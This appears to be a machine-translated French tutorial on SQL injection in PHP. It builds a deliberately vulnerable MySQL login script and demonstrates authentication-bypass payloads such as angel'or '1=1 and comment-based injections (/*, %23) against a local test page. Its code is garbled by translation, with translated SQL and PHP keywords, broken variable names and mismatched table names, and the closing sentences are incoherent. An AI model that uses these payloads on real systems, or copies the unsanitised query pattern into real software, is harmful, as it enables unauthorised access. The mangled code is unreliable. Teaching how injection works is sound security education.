Laissez-moi d'abord vous donner un exemple pour comprendre la particularité et le principe de l'injection sous PHP. Bien entendu, cet exemple peut également vous expliquer comment apprendre à construire des instructions SQL efficaces.
Prenons un exemple de vérification utilisateur. Tout d'abord, créez une base de données et une table de données et insérez un enregistrement, comme suit :
Code PHP :
CREATE TABLE `utilisateur` (
`userid` int(11) NON NULL auto_increment,
`nom d'utilisateur` varchar(20) NOT NULL par défaut '',
`mot de passe` varchar(20) NON NULL par défaut '',
CLÉ PRIMAIRE (`userid`)
) TYPE=MonISAM AUTO_INCREMENT=3;
#
# Exporter les données dans la table `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
Le code pour vérifier le fichier utilisateur est le suivant :
Code PHP :
<?php
$nom du serveur = "hôte local" ;
$dbusername = "root";
$dbmot de passe = "";
$nombd = "injection" ;
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Échec de la connexion à la base de données");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($nomdb, $sql);
$userinfo = mysql_fetch_array($result);
si (vide($userinfo)){
echo "Échec de la connexion" ;
} autre {
echo "Connexion réussie" ;
}
echo "<p>Requête SQL :$sql<p>" ;
?>
À ce stade, nous soumettons :
http://127.0.0.1/injection/user.php?username=angel'or 1=1
et il retournera :
Attention : mysql_fetch_array() : l'argument fourni n'est pas une ressource de résultat MySQL valide en F :wwwinjectionuser.php en ligne 13
La connexion a échoué
Requête SQL : SELECT * FROM user WHERE username='angel' ou 1=1' AND password='
Avertissement PHP : mysql_fetch_array() : l'argument fourni n'est pas une ressource de résultat MySQL valide dans F:wwwinjectionuser.php à la ligne 13.
Vous voyez ? Une fois les guillemets simples fermés, les guillemets simples suivants ne sont pas commentés, ce qui entraîne une mauvaise association des guillemets simples. Par conséquent, on peut voir que l'instruction que nous avons construite ne peut pas permettre à Mysql de s'exécuter correctement et doit être restructurée :
http://127.0.0.1/injection/user.php?username=angel'or '1=1
À ce moment, "Connexion réussie" s'affiche, indiquant qu'elle a réussi. Ou soumettez :
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
Cela commentera les déclarations suivantes ! Parlons des différences entre ces deux soumissions. La première phrase que nous avons soumise utilise des opérations logiques. On peut dire qu'elle est très largement utilisée en ASP. Les deuxième et troisième phrases sont basées sur les caractéristiques de MySQL. MySQL prend en charge deux formats de commentaires : /* et #, donc lorsque nous soumettons, nous commentons le code suivant. Il convient de noter qu'en raison de problèmes d'encodage, nous soumettons # dans. la barre d'adresse IE. deviendra vide, donc lorsque nous soumettons dans la barre d'adresse, nous devons soumettre %23 avant qu'il ne devienne #, et c'est beaucoup plus simple que les opérations logiques. puissant et flexible qu'ASP. Bien plus.